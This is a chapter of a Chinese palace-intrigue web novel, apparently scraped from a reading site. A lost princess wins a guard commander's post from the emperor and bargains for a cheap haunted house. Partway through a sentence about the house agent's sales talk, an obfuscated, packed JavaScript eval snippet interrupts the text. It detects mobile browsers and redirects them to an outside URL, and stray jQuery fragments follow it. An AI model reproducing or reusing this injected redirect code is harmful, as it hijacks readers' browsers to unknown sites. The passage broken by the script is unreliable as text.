默认冷灰
24号文字
方正启体

42. 逢场

作者:莫辞盈本书字数:K更新时间:
    皇帝的目光在燕风脸上停留片刻,忽然轻叹一声:"朕看着你,就想起了玉嫔。"


    燕风恰到好处地垂下眼帘,


    掩饰眼中的嘲讽。


    他们心照不宣地假装都不记得,那个被遗忘在冷宫的女人死得无名无姓,所谓玉嫔不过是随口编造的封号。


    "父皇……"燕风喉头微动,眼中迅速蓄起一层水光。


    她将指尖深深掐入掌心,借疼痛逼出几分颤抖的哭音,"女儿……女儿以为这辈子都见不到您了……"


    “你母亲瞒得朕好苦,朕真不知……你这些年该过得有多苦。"


    他亲自将她扶起:"该给你个封号了。这一辈的公主都是延字辈,你既在外化名为燕风,便赐你名延凤吧。"


    "延凤叩谢父皇恩典。"她伏身行礼,声音里带着以假乱真的哽咽。


    这个新名字像一件不合身的华服,她虽嫌弃,却不得不诚惶诚恐地接下。


    "这些年苦了你了。朕已命人收拾了宫室,你且安心住下。"


    他语气愈发温和,"待来年春暖,朕再为你择一门好亲事。"


    燕风面上却露出惶恐:"女儿不敢奢望,这些年在民间颠沛流离,早已……"


    她欲言又止。


    皇帝目光在她身上停了停。


    曹宜春确实禀报过她的流落经历,但此刻从她嘴里亲自说出来,则更具说服力。


    "朕是天子,难道还有人会嫌弃朕的女儿不成?"


    皇帝语气依旧慈爱,却不着痕迹地转移了话题,"你既回宫,安心将养便是。"


    "女儿不愿虚度光阴。"


    她抬起脸:"这些年为了活命,倒也练就了些粗浅功夫。只求父皇允女儿以这身本事,为朝廷尽一份绵薄之力。"


    "胡闹。朕难道养不起一个可怜的女儿?"


    他若有所思地摩挲着扳指。


    他接她回来,是因那个传言,同时他也听说了她在北地的作为,若能多个得力又无依无靠的臣子……


    "求父皇成全!"


    她以额触地,声音闷在玉砖上。"女儿只求,有用武之地。"


    窗外树影婆娑,在地上投下摇曳的暗纹。


    良久,皇帝轻叹:"北镇抚司倒是还缺人。"


    他转向曹宜春,"马顺老了,是不是该去南京养老了?"


    曹宜春躬身顺从应是。


    皇帝又看向燕风:"你既执意如此,朕便许你以燕风之名出任北镇抚司做一名千户。但宫里永远给你留着一个位置,何时倦了,随时回来做你的公主。"


    "女儿……臣,谢主隆恩。"


    她再次叩首。


    从西苑出来时,雪已停了。


    燕风拢了拢狐裘披风,脚步不紧不慢,眉宇间难得透出几分松快。


    她本以为此番入宫,须得几番周旋,却不想,竟如此顺遂地得了个千户的位置。


    正五品,放在军营里,多少人以命相博也得不来的位置,原来龙子龙女只要挤几滴泪就能到手。


    她嘴角扯了扯,忽觉一切都显得有些讽刺。


    耳边传来一阵细碎脚步声,她偏头一看,是曹宜春仍跟在她身后。


    “公公不忙么?竟陪我一道?”


    曹宜春笑道:“这是陛下的恩典。陛下念殿下初来乍到,特准奴婢放一日假,陪殿下四处走走,熟悉熟悉京中的情形。”


    燕风欠身谢道:“那便多谢父皇,也多谢公公。”


    “那不知接下来,公公觉得我该往何处去瞧瞧?”


    “殿下客气。至于去处……既已认祖归宗,本也该见见其余几位公主殿下。”


    “也好。那她们都住在哪?还请公公引路。”


    曹宜春露出些许为难:“不巧得很,今日永宁公主在芳园设宴,诸位公主皆已前去赴宴,怕是要晚间才归了。”


    “倒是巧。永宁公主?不知她是哪位姐妹?”


    “永宁公主行五,是周贵妃所出。”曹宜春答。


    “行五啊……”


    她轻声喃喃一句,眼神渐渐变冷。


    倒是难怪了。


    她年幼时虽寄身冷宫,但还是有宫人偶尔施以小惠,送些残汤剩饭。那段日子虽清苦,却也不至于饿死。


    直到七岁那年,行五的永宁公主带着妹妹七公主路过冷宫,见她在墙角啃一只窝头,竟生了戏弄的心思。


    她们故意在她常出没的地方放了一碟甜猫食,待她上前时,便以偷食为由将她蒙头痛打。她至今仍记得那黑暗中混合着猫食与血腥的恶心气味,更记得那两个华服少女拍手大笑的残忍模样。


    自那以后,再无人敢施舍她一口吃食,她才彻底沦落到与蛇鼠抢食的地步。


    她记住了那两个公主的名号,曾发誓终有一日要报复回来。只是如今时过境迁,这份恨意现在想来都有些遥远了。


    虽是不足为道,可恶寒依旧。


    她收回思绪:“父皇……可有明言让我去拜见她们?”


    “并不曾。”


    “那便不急。今日既不凑巧,便不去了。方才父皇命我下月起到北镇抚司任职,我想着,总不能老住在宫里进出,叫同僚们背后议论。”


    她转头看向曹宜春:“不知公公可有熟地,哪处宫外适合落脚?离宫与北镇抚司都近些便好。我想尽早最好今日便定下来,好留几日整理收拾。”


    曹宜春笑道:“这有何难?这几年陛下查抄了不少大贪,得了几处上好的宅子。殿下来京前,陛下便提了几句,让奴婢替您掌掌眼,若有合适的,便改建个公主府。”


    “公主府?”


    燕风摇摇头,毫不犹豫地拒绝了:“我只有一个小婢,哪里需要建什么府邸?我亲自去看看,或租或买一个一进的小院子便很好了。况且,进北镇抚司的,是男子‘燕风’,可不是公主‘延凤’,还请公公也要千万替我保密。”


    “是,”曹宜春连连点头,“公主说得极是,是奴婢考虑不周了。”


    说罢他看了眼自己身上的内廷衣袍,笑道:“既然要隐瞒身份,不如请公主换身便装,奴婢也去换身衣裳陪着同去。如今那些房牙子个个精明得很,专宰生客。公主若是穿着这身去,怕是连房梁都要按尺寸算银子。”


    不多时,燕风与江鱼在宫门口汇合。


    燕风换了身剪裁干练的青色短褂,扎了发髻,束了腰带,又熟练地抹了些黑灰,看上去竟真有几分少年郎官的架势。


    而曹宜春也换上了一身青灰布衣,面容干净儒雅。没了太监打扮,那份阴柔也仿佛烟消云散,乍一看倒真像是燕风的兄长。


    “这……”


    江鱼今日做了女子打扮,她左右打量了一番,自来熟道:“咱们三个一起走出去,倒真像是一家人了。”


    燕风觑她一眼,调笑道:“你最像捡来的。”


    江鱼也不恼,只嘿嘿一笑,跟在燕风身后朝市中而去。


    他们一连看了几处宅子,牙人嘴甜得像吞了蜜,夸得每一处都似神仙宝地。什么“这宅子旺,院里种的葱都比别处绿三分”“前儿个租客刚搬来就中了举,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485548|201982||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宅子的仕气可了不得!”张口就来,说得天花乱坠。


    但燕风拢袖细细一算,每处的价格都高得离谱,以她将来的官俸,日子会过得紧巴巴。


    她可不指望皇帝给她发了镇抚司的俸禄后,再发一份公主的份例。


    她看一个摇头一个,叹道:“贵。”


    牙人脸上的热情一点点褪去,明显开始敷衍:“那几位还看不看了?”


    “你不是说你这儿什么都有?再便宜点的难道就没有了?”


    “便宜的……”牙人翻了翻手里那叠得老高的房契,终于抬眼。


    “有,凶宅要不要?”


    燕风眼神一亮:“要!能有多便宜?”


    牙人咂了咂嘴,见这人来真的,也不藏着掖着了:“跟我来吧。”


    他一路带着他们七拐八绕,进了内城夹道深巷,一座宅子忽地映入眼帘——


    朱漆大门,青砖黛瓦,雕花窗棂隐在浓荫之间,这宅子看上去比他们前头看的都要气派多了。


    “外头看着真不错。”江鱼小声道。


    牙人耳尖:“可不是吗!而且还是个两进的大宅子!”


    他们推门而入,一股陈年尘封混着草木灰的气息扑面而来。


    里头地面虽积尘却未溃乱,墙面无裂,砖瓦整齐,只是四处荒草疯长,偶尔有野猫“喵”地一声从墙檐窜过,倒叫人心里打了个突。


    “你这宅子这么大,能有多便宜?”燕风狐疑地问。


    “便宜!怎么不便宜?这宅子压了快三年了,一直没人肯租,凶得很。”


    说完又像是意识到不该说太多,赶忙补了一句:“不过啊,您不是讲究实惠么?这么着,五十两一年,跟前头那几个小院一个价。地段好、宅子大,也算我同您交个朋友。”


    燕风正要开口砍价,忽听一旁的曹宜春咳了一声,慢悠悠道:“小哥,这不对吧。我们要的是价低的一进宅子,你却找了个二进的凶宅,还跟前头一样的价,于我们有何益处?况且,这宅子……我也听说过。”


    他顿了顿,低声道:“这儿从前是个姓蒋的公公的私宅。三年前他突然在屋里上吊,尸首挂了好几日才被人发现。晦气得很。”


    牙人脸色变了变,终究没否认。


    燕风听了却来了精神:“可不是!能租得起这样大宅子的,不是官宦人家就是富商巨贾,都是最讲究风水的人。不然你这宅子怎么会三年都租不出去?如今遇上我这样不信邪的,算你运气好!”


    她负手踱了两步,笑道:“继续放空还得交税,不如低价租我,好歹落个进帐,你说是也不是?”


    牙人脸皮抽了抽:“四十五两一年,不敢再低了,再低我帐都难做。”


    燕风摇头:“我是诚心要租。你若真想做生意,就别墨迹。”


    牙人犹豫半晌,心一横:“这样!四十五两一年,若你租满五年,这宅子就送给你!这附近差不多大小的宅子少说也要八百两呢!”


    燕风心里早已乐开了花,面上却仍装模作样地叹了口气。


    “哎……也罢也罢。成交。但要写清楚,五年期满,这宅归我所有,白纸黑字,盖印画押。少一样我都不认。”


    “放心!”牙人一拍胸脯,“你连鬼都不怕了,我还敢赖你账?”


    江鱼在一旁听得一愣一愣的,等牙人出去办文契,她才悄悄凑到燕风耳边。


    “你……你就真敢租?我今儿夜里可要和你一起睡!”


    燕风笑道:“怕什么,一起就一起,还省了我炭火钱。没钱可比鬼神可怕多了!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)